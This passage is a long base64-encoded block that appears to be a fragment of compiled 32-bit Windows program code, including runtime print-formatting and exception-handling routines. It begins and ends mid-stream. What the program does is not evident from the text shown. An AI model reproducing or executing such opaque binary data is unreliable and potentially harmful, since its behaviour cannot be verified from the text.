urq8ZDRQDGQ0YA606NexiFwHQPi/ClpaWli3UYxkMRAesKM8Crq6urxkMRADPAjXsoq6urqzPAjXs4q6urq6togAAAAMZDEgDGQxMAagCDw0xT6PERAACDxAyLfQwPt08MiwaLQASLQAxR/3cQ/xCLXRT/M2jUmAIQ6I7//v8Pt0cMUI1F7FBT6Df2/v+LTgSJQRCLRgSDxBSDeBAAdAdo+JgCEOsZ/xXwkQEQUGgImQIQ6FX//v9Z6wpoqJkCEOhI//7/WV8zwF5AW8nCFABVi+xRUYtVCItNDItCCIlN/IsJVolV+IswVzsxdSGLQAQ7QQR1GYs6jUX4UItCHGhPIgEQ6A8AAABZWTPA6wMzwEBfXsnCCABVi+yD5PiD7DiDZCQQAINkJBQAg2QkCACNTCQQiUwkDIsPU1aJRCQIiUwkDIXAD4TQAAAAix0QkgEQjUQkIIlEJBBqDI1EJAxQjUQkGFDoWvX+/4PEDIXAD4SQAAAAi0QkKOt4jUQkLIlEJBBqFI1EJAxQjUQkGFDoMPX+/4PEDIXAdEmLRCQ8iw+NdCQ4iUQkCOjrHf//hcB0PYsPjXQkMOjcHf//hcB0G/91DI1EJAxQ/3QkLI1EJDhQV/9VCP90JDT/0/90JDz/0+sLaLCZAhDoHv7+/1mLRCQsiUQkCIXAdYCLRCQgiUQkCOsLaAiaAhDo/f3+/1mDfCQIAA+FNv///15bi+Vdw2oBuHiVARDo/t7//1nDVYvsg+T4g+xcU4tdCIsLjUQkJFaJRCQYVzP/jUQkJIl8JCSJfCQoiUQkIIl8JBSLAYlEJBiJfCQQOT3ExQIQdS9XV2g43AIQagFo0MUCEL6sxQIQ6J3n//+DxBSFwHUQaMDxARDoc/3+/1nplAAAAKE43AIQiUQkFGoIjUQkGFCNRCQkUOgL9P7/g8QMhcB0c+thajyNRCQYUI1EJCRQ6PHz/v+DxAyFwHRZi0MIiwg7TCQ8dT6LQAQ7RCRAdTU5fCRUdQw5fCRcdQY5fCRkdCP/dCQQaLCUAhDo/vz+//9EJBhoAAAAwI1EJFzoy+H//4PEDItEJCyJRCQUOwU43AIQdY9fXluL5V3CBABqAbh0lQEQ6OPd//9Zw1WL7IPk+IHsjAAAAFNWjUQkPDPbV4t9CIsPiUQkFI1EJByJXCQciVwkIIlEJBiJXCQMiwGJRCQQOR3UxAIQdStTU2g83AIQagNo6MQCEL68xAIQ6IPm//+DxBSFwHUMaMDxARDoWfz+/+ty/3cIoTzcAhBqQI10JBSJRCQU6Mvn//9ZWYlEJAw7w3RSalSLxlCNRCQcUOjf8v7/g8QMhcB0PIuEJJAAAACJRCQMO8N0LY1EJCSJRCQUahyLxlCNRCQcUOiy8v7/g8QMhcB0D2gAAABAjUQkLOjE4P//WV9eW4vlXcIEAGoBuHCVARDo7tz//1nDVYvsg+T4g+wcU1YzwI1MJBxXi30IiUwkHIsPiUQkIIlEJCSJRCQYiUQkEIsRiVQkFDkFWMMCEHUwaETcAhBQaEDcAhBqBWiAwwIQvkDDAhDokeX//4PEFIXAdQ1owPEBEOhn+/7/WetxoUDcAhD/dwiLHUTcAhCJRCQUjUQkFFBqEF6DwxjoIOb//1lZiUQkEIXAdEVTakD/FQySARCJRCQYhcB0NFONRCQUUI1EJCBQ6M/x/v+DxAyFwHQToUTcAhCLTCQYagADwejd3///Wf90JBj/FRCSARBfXluL5V3CBAD/JQCQARD/JQSQARD/JQiQARD/JVCQARD/JWCQARD/JbCQARD/JbSQARD/JbyQARD/JcyQARD/JcCSARD/JaySARD/JbySARD/JbiSARD/JbSSARD/JbCSARD/JVCSARD/JVSSARD/JViSARD/JVySARD/JUySARD/JUiSARD/JUSSARD/JUCSARD/JTySARD/JSiSARD/JTiSARD/JSySARD/JTCSARD/JTSSARD/JYiSARD/JXySARD/JYySARD/JYCSARD/JYSSARD/JaSSARD/JZySARD/JaCSARD/JaSTARD/JaCTARD/JZyTARD/JZiTARD/JZSTARD/JZCTARD/JYyTARD/JYiTARD/JYSTARD/JYCTARD/JWCTARD/JaiTARD/JayTARD/JbCTARD/JbSTARD/JbiTARD/JbyTARD/JcCTARD/JcSTARD/JciTARCL/1WL7IHs0AIAAKEAwAIQM8WJRfyJheD9//+Jjdz9//+Jldj9//+JndT9//+JtdD9//+Jvcz9//9mjJX4/f//ZoyN7P3//2aMncj9//9mjIXE/f//ZoylwP3//2aMrbz9//+cj4Xw/f//i0UEiYXo/f//jUUEx4Uw/f//AQABAImF9P3//4tA/GjwkwEQiY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z9//+Jtej9//+JtdD9//+JtcT9//+JtbD9//+Jtcj9//87xnUh/xUUkwEQVlZWVlbHABYAAADoy/H//4PEFIPI/+lACgAAO95024oLibXY/f//ibXg/f//ibXA/f//ibW8/f//iI3v/f//hMkPhA4KAABDObXY/f//iZ2g/f//D4zmCQAAisEsIDxYdw8PvsEPtoAYlAEQg+AP6wIzwIuVwP3//2vACQ+2hBA4lAEQwegEiYXA/f//g/gID4Rk////agdaO8IPh1YJAAD/JIWMQgEQg43o/f///4m1xP3//4m1sP3//4m1zP3//4m10P3//4m18P3//4m1yP3//+ktCQAAD77Bg+ggdEqD6AN0NoPoCHQlSEh0FYPoAw+FAAkAAION8P3//wjpAgkAAION8P3//wTp9ggAAION8P3//wHp6ggAAIGN8P3//4AAAADp2wgAAION8P3//wLpzwgAAID5KnUriweDxwQ7xom93P3//4mFzP3//w+NsQgAAION8P3//wT3ncz9///pnwgAAIuFzP3//2vACg++yY1ECNCJhcz9///phAgAAIm16P3//+l5CAAAgPkqdSWLB4PHBDvGib3c/f//iYXo/f//D41bCAAAg43o/f///+lPCAAAi4Xo/f//a8AKD77JjUQI0ImF6P3//+k0CAAAgPlJdE+A+Wh0PoD5bHQYgPl3D4UcCAAAgY3w/f//AAgAAOkNCAAAgDtsdRBDgY3w/f//ABAAAOn4BwAAg43w/f//EOnsBwAAg43w/f//IOngBwAAigM8NnUXgHsBNHURQ0OBjfD9//8AgAAA6cMHAAA8M3UXgHsBMnURQ0OBpfD9////f///6agHAAA8ZA+EoAcAADxpD4SYBwAAPG8PhJAHAAA8dQ+EiAcAADx4D4SABwAAPFgPhHgHAACJtcD9//8PtsFQibXI/f///xUIkwEQWYXAdCiLjbT9//+Khe/9//+Ntdj9///ol/r//4oDQ4iF7/3//4TAD4RIBwAAi420/f//ioXv/f//jbXY/f//6G/6///pFwcAAA++wYP4ZA+PFgIAAA+EZwIAAIP4Uw+P8gAAAA+EgAAAAIPoQXQQSEh0WEhIdAhISA+FRQUAAIDBIMeFxP3//wEAAACIje/9//+DjfD9//9AObXo/f//jYX0/f//iYXk/f//uAACAACJhaz9//8PjTUCAADHhej9//8GAAAA6ZQCAAD3hfD9//8wCAAAD4WYAAAAgY3w/f//AAgAAOmJAAAA94Xw/f//MAgAAHUKgY3w/f//AAgAAIuN6P3//4P5/3UFuf///3+DxwT3hfD9//8QCAAAib3c/f//i3/8ib3k/f//D4RkBAAAO/51C6EUwAIQiYXk/f//i4Xk/f//x4XI/f//AQAAAOkyBAAAg+hYD4SNAgAASEh0eSvCD4Qn////SEgPhVEEAACDxwT3hfD9//8QCAAAib3c/f//dDAPt0f8UGgAAgAAjYX0/f//UI2F4P3//1DoZvr//4PEEIXAdB/HhbD9//8BAAAA6xOKR/yIhfT9///HheD9//8BAAAAjYX0/f//iYXk/f//6egDAACLB4PHBIm93P3//zvGdGSLcAQz/zv3dFsPtwhmOUgCD4KMBQAA94Xw/f//AAgAAA+3wXQuM8mL0PfSQYTRD4RuBQAAi9b30oTRD4RiBQAAibXk/f//0eiJjcj9///pgAMAAIm9yP3//4m15P3//+lvAwAAoRDAAhCJheT9//+NUAGKCECEyXX5K8LpUwMAAIP4cA+PgAEAAA+EaAEAAIP4ZQ+MQQMAAIP4Zw+OBv7//4P4aXQxg/huD4S9+v//g/hvD4UhAwAA9oXw/f//gMeF4P3//wgAAAB0HYGN8P3//wACAADrEYON8P3//0DHheD9//8KAAAAi4Xw/f//qQCAAAAPhG8BAACLB4tXBIPHCOmXAQAAdRGA+Wd1Z8eF6P3//wEAAADrWzmF6P3//34GiYXo/f//u6MAAAA5nej9//9+Oou16P3//4HGXQEAAFb/FUSTARBZio3v/f//iYW8/f//hcB0DomF5P3//4m1rP3//+sOiZ3o/f//6waKje/9///2hfD9//+AdAqBjcT9//+AAAAAiwf/tcT9//+LteT9////tej9//+DxwiJhZj9//+LR/yJhZz9//8PvsFQ/7Ws/f//jYWY/f//VlCJvdz9///opff//4PEGIA+LXUQgY3w/f//AAEAAP+F5P3//4uF5P3//41QAYoIQITJdfnpgv7//8eF6P3//wgAAACJlbj9///rJIPocw+EA/3//0hID4TE/v//g+gDD4W2AQAAx4W4/f//JwAAAPaF8P3//4DHheD9//8QAAAAD4Sk/v//ioW4/f//BFHGhdT9//8wiIXV/f//x4XQ/f//AgAAAOmA/v//qQAQAAAPhYb+//+DxwSoIHQXib3c/f//qEB0Bg+/R/zrBA+3R/yZ6xKoQItH/HQDmesCM9KJvdz9///2hfD9//9AdBs71n8XfAQ7xnMR99iD0gD32oGN8P3//wABAAD3hfD9//8AkAAAi9qL+HUCM9uDvej9//8AfQzHhej9//8BAAAA6xqDpfD9///3uAACAAA5hej9//9+BomF6P3//4vHC8N1BiGF0P3//41184uF6P3///+N6P3//4XAfwaLxwvDdC2LheD9//+ZUlBTV+ik9P//g8Ewg/k5iZ2s/f//i/iL2n4GA424/f//iA5O672NRfMrxkb3hfD9//8AAgAAiYXg/f//ibXk/f//dGGFwHQHi86AOTB0Vv+N5P3//4uN5P3//8YBMEDrPklmOTB0BkBAO8519CuF5P3//9H46yg7/nULoRDAAhCJheT9//+LheT9///rB0mAOAB0BUA7znX1K4Xk/f//iYXg/f//g72w/f//AA+FZgEAAIuF8P3//6hAdDKpAAEAAHQJxoXU/f//LesYqAF0CcaF1P3//yvrC6gCdBHGhdT9//8gx4XQ/f//AQAAAIudzP3//yud4P3//yud0P3///aF8P3//wx1F/+1tP3//42F2P3//1NqIOiq9P//g8QM/7XQ/f//i720/f//jYXY/f//jY3U/f//6LD0///2hfD9//8IWXQb9oXw/f//BHUSV1NqMI2F2P3//+ho9P//g8QMg73I/f//AHRxg73g/f//AH5oi4Xg/f//i7Xk/f//iYWs/f//D7cG/42s/f//UGoGjUX0UI2FpP3//0ZQRuhI9f//g8QQhcB1KDmFpP3//3Qg/7Wk/f//jYXY/f//jU306Cb0//+Dvaz9//8AWXW16yGDjdj9////6xj/teD9//+LjeT9//+Nhdj9///o+vP//1mDvdj9//8AfBv2hfD9//8EdBJXU2ogjYXY/f//6LLz//+DxAyDvbz9//8AdBT/tbz9////FTCTARCDpbz9//8AWYudoP3//4u93P3//zP2igOIhe/9//+EwHQvisjpL/b///8VFJMBEMcAFgAAADPAUFBQUFDp2/X///8VFJMBEFdXV1dX6cX1//85tcD9//90DYO9wP3//wcPhaX1//+Lhdj9//+LTfxfXjPNW+iF5///ycOQtDoBEMk4ARD5OAEQVzkBEKI5ARCtOQEQ8jkBEA07ARCL/1WL7IPsIFeLfQyD//91CcdF5P///3/rK4H/////f3Yg/xUUkwEQxwAWAAAAM8BQUFBQUOgW5///g8QUg8j/62qJfeRTVv91FIt1CP91EI1F4FCJdeiJdeDHRexCAAAA6Kb0//+L2DPAg8QMO9iIRD7/fRE5ReR8LTvwdCU7+HYhiAbrHf9N5HgHi03giAHrEY1N4FFQ6Iw4AABZWYP4/3QEi8PrA2r+WF5bX8nDi0gM9sFAdAaDeAgAdDWDQAT+uv//AAB4DYsIZokxgwACD7fO6wiDySCJSAyLymY7ynUQUP8V8JIBEFmFwHQEgw//w/8Hw4v/VYvsg30MAFeL+H4bVotFEIt1CP9NDOid////gz//dAaDfQwAf+deX13Di/9Vi+z2QwxAV4v4dA2DewgAdQeLRQwBB+s8g30MAH42VotFCA+3MP9NDIvD6Fz///+DRQgCgz//dRX/FRSTARCDOCp1EGo/i8Ne6D7///+DfQwAf8xeX13Di/9Vi+yB7GgEAAChAMACEDPFiUX8i0UIU4tdEFaLdQxXM/+Jhdj7//+Jnej7//+JvbT7//+Jvfj7//+JvdD7//+JvfT7//+Jvdz7//+Jvcj7//+Jvaz7//+JvdT7//87x3Uh/xUUkwEQV1dXV1fHABYAAADoXOX//4PEFIPI/+k/CgAAO/d02w+3Dom94Pv//4m97Pv//4m9wPv//4m9uPv//4mN5Pv//2Y7zw+ECwoAAEZGOb3g+///ibWw+///D4ziCQAAjUHgZoP4WHcPD7fBD7aAGJQBEIPgD+sCM8CLlcD7//9rwAkPtoQQOJQBEGoIwegEWomFwPv//zvCD4Re////g/gHD4d3CQAA/ySF+04BEION9Pv///+Jvcj7//+Jvaz7//+JvdD7//+Jvdz7//+Jvfj7//+JvdT7///pTgkAAA+3wYPoIHRIg+gDdDQrwnQkSEh0FIPoAw+FIgkAAAmV+Pv//+klCQAAg434+///BOkZCQAAg434+///AekNCQAAgY34+///gAAAAOn+CAAAg434+///AunyCAAAZoP5KnUriwODwwQ7x4md6Pv//4mF0Pv//w+N0wgAAION+Pv//wT3ndD7///pwQgAAIuF0Pv//2vACg+3yY1ECNCJhdD7///ppggAAIm99Pv//+mbCAAAZoP5KnUliwODwwQ7x4md6Pv//4mF9Pv//w+NfAgAAION9Pv////pcAgAAIuF9Pv//2vACg+3yY1ECNCJhfT7///pVQgAAA+3wYP4SXRRg/hodECD+Gx0GIP4dw+FOggAAIGN+Pv//wAIAADpKwgAAGaDPmx1EUZGgY34+///ABAAAOkUCAAAg434+///EOkICAAAg434+///IOn8BwAAD7cGZoP4NnUZZoN+AjR1EoPGBIGN+Pv//wCAAADp2gcAAGaD+DN1GWaDfgIydRKDxgSBpfj7////f///6bsHAABmg/hkD4SxBwAAZoP4aQ+EpwcAAGaD+G8PhJ0HAABmg/h1D4STBwAAZoP4eA+EiQcAAGaD+FgPhH8HAACJvcD7//+Lhdj7//+NveD7//+L8ceF1Pv//wEAAADo/fv//+lPBwAAD7fBg/hkD49KAgAAD4SXAgAAg/hTD48TAQAAdH2D6EF0EEhIdFhISHQISEgPhXoFAACDwSDHhcj7//8BAAAAiY3k+///g434+///QDm99Pv//42F/Pv//4mF8Pv//7gAAgAAiYXM+///D41pAgAAx4X0+///BgAAAOnBAgAA94X4+///MAgAAA+FwgAAAION+Pv//yDptgAAAPeF+Pv//zAIAAB1B4ON+Pv//yCLvfT7//+D//91Bb////9/g8ME9oX4+///IImd6Pv//4tb/Imd8Pv//w+ElAQAAIXbdQuhEMACEImF8Pv//4Ol7Pv//wCLtfD7//+F/w+OrAQAAIoGhMAPhKIEAAAPtsBQ/xUIkwEQWYXAdAFGRv+F7Pv//zm97Pv//3zX6X4EAACD6FgPhJECAABISA+EigAAAIPoBw+E/f7//0hID4VcBAAAD7cDg8MEM/ZG9oX4+///IIm11Pv//4md6Pv//4mFqPv//3Q3iIW8+///oQyTARDGhb37//8A/zCNhbz7//9QjYX8+///UP8VEJMBEIPEDIXAfQ+Jtaz7///rB2aJhfz7//+Nhfz7//+JhfD7//+Jtez7///p4wMAAIsDg8MEiZ3o+///O8d0YotwBDv3dFsPtwhmOUgCD4I7+///94X4+///AAgAAA+3wXQuM8mL0PfSQYTRD4Qd+///i9b30oTRD4QR+///ibXw+///0eiJjdT7///pfQMAAIm91Pv//4m18Pv//+lsAwAAoRDAAhCJhfD7//+NUAGKCECEyXX5K8LpUAMAAIP4cA+PdQEAAA+EXQEAAIP4ZQ+MPgMAAIP4Zw+Ozv3//4P4aXQtg/huD4Si+v//g/hvD4UeAwAA9oX4+///gImV5Pv//3QdgY34+///AAIAAOsRg434+///QMeF5Pv//woAAACLhfj7//+pAIAAAA+EbQEAAAPai0P4i1P86ZUBAAB1EmaD+Wd1X8eF9Pv//wEAAADrUzmF9Pv//34GiYX0+///v6MAAAA5vfT7//9+OIu19Pv//4HGXQEAAFb/FUSTARBZi43k+///iYW4+///hcB0DomF8Pv//4m1zPv//+sGib30+///9oX4+///gHQKgY3I+///gAAAAIsD/7XI+///i7Xw+////7X0+///g8MIiYWY+///i0P8iYWc+///D77BUP+1zPv//42FmPv//1ZQiZ3o+///6Cbr//+DxBiAPi11EIGN+Pv//wABAAD/hfD7//+LhfD7//+NUAGKCECEyXX56Y3+//+JlfT7///HhbT7//8HAAAA6ySD6HMPhND8//9ISA+Ey/7//4PoAw+FvgEAAMeFtPv//ycAAAD2hfj7//+Ax4Xk+///EAAAAA+Eq/7//2owWGaJhcT7//+LhbT7//+DwFFmiYXG+///x4Xc+///AgAAAOmC/v//qQAQAAAPhYj+//+DwwSoIHQXiZ3o+///qEB0Bg+/Q/zrBA+3Q/yZ6xKoQItD/HQDmesCM9KJnej7///2hfj7//9AdBs7138XfAQ7x3MR99iD0gD32oGN+Pv//wABAAD3hfj7//8AkAAAi9qL+HUCM9uDvfT7//8AfQzHhfT7//8BAAAA6xqDpfj7///3uAACAAA5hfT7//9+BomF9Pv//4vHC8N1BiGF3Pv//421+/3//4uF9Pv///+N9Pv//4XAfwaLxwvDdC2LheT7//+ZUlBTV+gd6P//g8Ewg/k5iZ2k+///i/iL2n4GA420+///iA5O672Nhfv9//8rxkb3hfj7//8AAgAAiYXs+///ibXw+///dF6FwHQHi8aAODB0U/+N8Pv//4uF8Pv///+F7Pv//8YAMOs8hdt1C6EUwAIQiYXw+///i4Xw+///x4XU+///AQAAAOsJT2aDOAB0BkBAhf918yuF8Pv//9H4iYXs+///g72s+///AA+FcwEAAIuF+Pv//6hAdCupAAEAAHQEai3rDqgBdARqK+sGqAJ0FGogWWaJjcT7///Hhdz7//8BAAAAi7XQ+///K7Xs+///K7Xc+///ibWk+///qAx1F/+12Pv//42F4Pv//1ZqIOgg9v//g8QM/7Xc+///i53Y+///jYXE+///UI2F4Pv//+gr9v//9oX4+///CFlZdBv2hfj7//8EdRJTVmowjYXg+///6Nz1//+DxAyDvdT7//8AdXyLhez7//+FwH5yi43w+///iY3k+///iYXM+///oQyTARD/MP+NzPv///+15Pv//42FqPv//1D/FRCTARCL2IPEDIXbfi6Lhdj7//+Ltaj7//+NveD7///oLvX//wGd5Pv//4O9zPv//wCLtaT7//9/q+sig43g+////+sZ/7Xs+///jYXg+////7Xw+///6Gn1//9ZWYO94Pv//wB8IPaF+Pv//wR0F/+12Pv//42F4Pv//1ZqIOgV9f//g8QMg724+///AHQU/7W4+////xUwkwEQg6W4+///AFmLnej7//+LtbD7//8z/w+3BomF5Pv//2Y7x3QHi8jpCvb//zm9wPv//3QNg73A+///Bw+FpvX//4uF4Pv//4tN/F9eM81b6Bfb///Jw4v/QUcBEDxFARBsRQEQyEUBEBRGARAfRgEQZUYBEGNHARCL/1WL7IPsIFNXi30Mg///dQnHReT///9/6zGB/////z92I/8VFJMBEDPbU1NTU1PHABYAAADoptr//4PEFIPI/+mRAAAAjQQ/iUXkVv91FIt1CP91EI1F4FCJdeiJdeDHRexCAAAA6KD0//8zyTPbg8QMO8OJRQxmiUx+/n0SOV3kfE8783ROO/t2SmaJDutF/03keAqLReCIGP9F4OsRjUXgUFPoDywAAFlZg/j/dCL/TeR4B4tF4IgY6xGNReBQU+jyKwAAWVmD+P90BYtFDOsDav5YXl9bycOL/1WL7FOLHjldCA+FgQAAAIsHO0UMdWWNRQhQagJZi8P34VJQ6BLl//+DxAyFwH0EM8DrYGoEU/8VUJMBEFlZiQeFwHTr/3UIi0UQ/3UMxwABAAAA/zfo2uT//4sGVgPAagJQiQbo/OT//4PEGIXAfSD/N/8VMJMBEFnrtGoEU1D/FTDAAhCDxAyFwHSjiQfRJjPAQFtdw4v/VYvs90UIAP8AAFZ1Gw+3dQiLxiX/AAAAUP8VPJMBEFmFwHQEi8brCg+3RQiD4N+D6AdeXcOL/1WL7Lj//wAAZjtFCHQGXemCLQAAXcOL/1WL7Fb/dQj/B+heLAAAD7fwuP//AABZZjvwdA9qCFb/FeySARBZWYXAddlmi8ZeXcOL/1WL7IPsLKEAwAIQM8WJRfyLRRCJVdiLE4lV8ItVCFaA4ggPvvL33hv2/w+JReQPtwBRUIlN4Oh4////i0UIiUXsg2XsEFlZdQP/TRiJReiDZegBg33oAHQOi0UU/00UhcAPhBwBAAD/deD/B+jIKwAAWYtN5GaJAbn//wAAZolF1GY7yA+E5gAAAIN97AB1VvZFCCB0EmaD+AlyBmaD+A12BmaD+CB1PvZFCEAPhL4AAABmi8hmwekDD7fRZjvCD4KrAAAAi8iD4QczwEDT4A+3yotVDA++DBEzzoXBD4SNAAAAi0XU9kUIBHV7g30YAA+EtAAAAPZFCAJ0EIsLZokBgwMC/00Y6Uf///+LDQyTARCLVRhQOxFyDP8z/xX0kgEQWVnrL41F9FD/FfSSARBZWYlF3IXAfgU7RRh3bIP4BXdnUI1F9FD/M+jL4v//i0Xcg8QMhcAPjvb+//8BAylFGOns/